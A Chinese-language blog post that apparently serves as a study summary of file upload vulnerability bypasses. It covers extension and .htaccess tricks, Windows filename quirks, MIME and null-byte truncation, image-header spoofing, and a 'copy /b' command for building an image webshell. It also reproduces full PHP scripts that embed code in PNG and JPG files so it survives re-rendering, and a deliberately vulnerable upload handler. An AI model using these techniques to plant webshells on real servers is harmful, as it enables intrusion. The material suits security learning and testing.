bmp文件头_文件上传漏洞学习

这篇文章就当作对文件上传漏洞的一个总结吧,都是一些常见的方式,有什么错误还请大佬们指出。

客户端

ENTER TITLE

> > > >

js检查

直接Burp拦截更改后缀

服务端

ENTER TITLE

> > > >

检查后缀

黑名单
  1. 上传特殊可解析后缀

    如 php2 php3 php4 php5 php7 phtml等

  2. 上传.htaccess

    .htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。

     AddType application/x-httpd-php .jpg      

    另一种

     
     Sethandler application/x-httpd-php 
  3. 后缀大小写

    如  php -> PhP 等

  4. 点绕过.php.windows特性

  5. 空格绕过.phpwindows特性

  6. ::$DATA绕过.php::$DATAwindows特性

    NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。

    简单讲就是在php+windows的情况下:如果文件名+"::会把DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。

  7. .php:.jpgwindows特性

  8. 双后缀名.phphpp

白名单
  1. MIME绕过

    抓包修改Content-type为image/jpeg等。

    不同的Content-type详见https://www.runoob.com/http/http-content-type.html

  2. %00截断/0x00截断

    两者其实原理都是一样的,只不过是不同的表示方式。

    这里基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候

    路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg,访问的为1.php

    代码示例:

if(isset($_POST['submit'])){     $ext_arr = array('jpg','png','gif');     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);     if(in_array($file_ext,$ext_arr)){         $temp_file = $_FILES['upload_file']['tmp_name'];         $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;          if(move_uploaded_file($temp_file,$img_path)){             $is_upload = true;        } else {             $msg = "上传失败";        }    } else {         $msg = "只允许上传.jpg|.png|.gif类型文件!";    } } ?>
    1. 在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

    2. 0x开头表示16进制,0在十六进制中是00, 0x00就是%00解码成的16进制

> > > >

检查内容

文件头检查

增加不同16进制文件头进行绕过

jpgFF D8 FF E0 00 10 4A 46 49 46

gif47 49 46 38 39 61

png89 50 4E 47

getimagesize()、exif_imagetype()的绕过
getimagesize()、exif_imagetype()的绕过

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

exif_imagetype()获取图片类型,预定义以下常量用于返回

1 IMAGETYPE_GIF2 IMAGETYPE_JPEG3 IMAGETYPE_PNG4 IMAGETYPE_SWF5 IMAGETYPE_PSD ......

这种检查一般生成图片马来进行绕过,之后配合解析漏洞来getshell。

 copy 1.jpg /b  +  1.php /a  shell.jpg

二次渲染

二次渲染它相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染在这个过程中非图像数据的部分直接就隔离开了。

对于gif,我们只需要找到渲染前后没有变化的位置,然后通过16进制编辑器把php代码写进去,就可以成功上传带有php代码的图片了。

对于png和jpg,绕过比较复杂,可以直接借助大佬写好的脚本生成。

png:

 <?php  $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,            0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,            0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,            0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,            0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,            0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,            0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,            0x66, 0x44, 0x50, 0x33);  $img = imagecreatetruecolor(32, 32);  for ($y = 0; $y < sizeof($p); $y += 3) {    $r = $p[$y];    $g = $p[$y+1];    $b = $p[$y+2];    $color = imagecolorallocate($img, $r, $g, $b);    imagesetpixel($img, round($y / 3), 0, $color); }  imagepng($img,'./1.png'); ?>

jpg:

<?php      /*      The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().     It is necessary that the size and quality of the initial image are the same as those of the processed image.      1) Upload an arbitrary image via secured files upload script     2) Save the processed image and launch:     jpg_payload.php       In case of successful injection you will get a specially crafted image, which should be uploaded again.      Since the most straightforward injection method is used, the following problems can occur:     1) After the second processing the injected data may become partially corrupted.     2) The jpg_payload.php script outputs "Something's wrong".     If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.      Sergey Bobrov @Black2Fan.      See also:     https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/      */      $miniPayload = "=phpinfo();?>";       if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {         die('php-gd is not installed');    }      if(!isset($argv[1])) {         die('php jpg_payload.php ');    }      set_error_handler("custom_error_handler");      for($pad = 0; $pad < 1024; $pad++) {         $nullbytePayloadSize = $pad;         $dis = new DataInputStream($argv[1]);         $outStream = file_get_contents($argv[1]);         $extraBytes = 0;         $correctImage = TRUE;          if($dis->readShort() != 0xFFD8) {             die('Incorrect SOI marker');        }          while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {             $marker = $dis->readByte();             $size = $dis->readShort() - 2;             $dis->skip($size);             if($marker === 0xDA) {                 $startPos = $dis->seek();                 $outStreamTmp =                     substr($outStream, 0, $startPos) .                     $miniPayload .                     str_repeat("\0",$nullbytePayloadSize) .                     substr($outStream, $startPos);                 checkImage('_'.$argv[1], $outStreamTmp, TRUE);                 if($extraBytes !== 0) {                     while((!$dis->eof())) {                         if($dis->readByte() === 0xFF) {                             if($dis->readByte !== 0x00) {                                 break;                            }                        }                    }                     $stopPos = $dis->seek() - 2;                     $imageStreamSize = $stopPos - $startPos;                     $outStream =                         substr($outStream, 0, $startPos) .                         $miniPayload .                         substr(                             str_repeat("\0",$nullbytePayloadSize).                                 substr($outStream, $startPos, $imageStreamSize),                             0,                             $nullbytePayloadSize+$imageStreamSize-$extraBytes) .                                 substr($outStream, $stopPos);                } elseif($correctImage) {                     $outStream = $outStreamTmp;                } else {                     break;                }                 if(checkImage('payload_'.$argv[1], $outStream)) {                     die('Success!');                } else {                     break;                }            }        }    }     unlink('payload_'.$argv[1]);     die('Something\'s wrong');      function checkImage($filename, $data, $unlink = FALSE) {         global $correctImage;         file_put_contents($filename, $data);         $correctImage = TRUE;         imagecreatefromjpeg($filename);         if($unlink)             unlink($filename);         return $correctImage;    }      function custom_error_handler($errno, $errstr, $errfile, $errline) {         global $extraBytes, $correctImage;         $correctImage = FALSE;         if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {             if(isset($m[1])) {                 $extraBytes = (int)$m[1];            }        }    }      class DataInputStream {         private $binData;         private $order;         private $size;          public function __construct($filename, $order = false, $fromString = false) {             $this->binData = '';             $this->order = $order;             if(!$fromString) {                 if(!file_exists($filename) || !is_file($filename))                     die('File not exists ['.$filename.']');                 $this->binData = file_get_contents($filename);            } else {                 $this->binData = $filename;            }             $this->size = strlen($this->binData);        }          public function seek() {             return ($this->size - strlen($this->binData));        }          public function skip($skip) {             $this->binData = substr($this->binData, $skip);        }          public function readByte() {             if($this->eof()) {                 die('End Of File');            }             $byte = substr($this->binData, 0, 1);             $this->binData = substr($this->binData, 1);             return ord($byte);        }          public function readShort() {             if(strlen($this->binData) < 2) {                 die('End Of File');            }             $short = substr($this->binData, 0, 2);             $this->binData = substr($this->binData, 2);             if($this->order) {                 $short = (ord($short[1]) << 8) + ord($short[0]);            } else {                 $short = (ord($short[0]) << 8) + ord($short[1]);            }             return $short;        }          public function eof() {             return !$this->binData||(strlen($this->binData) === 0);        }    } ?>

生成图片马之后,仍然借助解析漏洞getshell。

其它

ENTER TITLE

条件竞争

对于部分网站,会先将上传的文件保存到服务器,之后再进行检测,如果不符合要求就删除。

在上传后到删除的这段时间差,正是我们利用的地方。可以通过burp的爆破功能,一方面不断上传,另一方面不断访问我们上传的文件。

配合文件包含漏洞

一种是只校验文件后缀名为asp/php/jsp的文件内容是否为木马,而不对后缀限制。

利用方式:

  1. 先上传个txt格式的木马

  2. 然后再上传一个.php的文件,内容为<?php Include(“上传的txt文件路径”);?>

另一种的话,如果网站直接存在文件包含漏洞,那么我们可以直接包含一下我们的木马就好了。类似于xxx.php?file=shell.txt.

喜欢的大表哥 点个关注+再看

96812c3abf654b3762904e880645fb2f.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值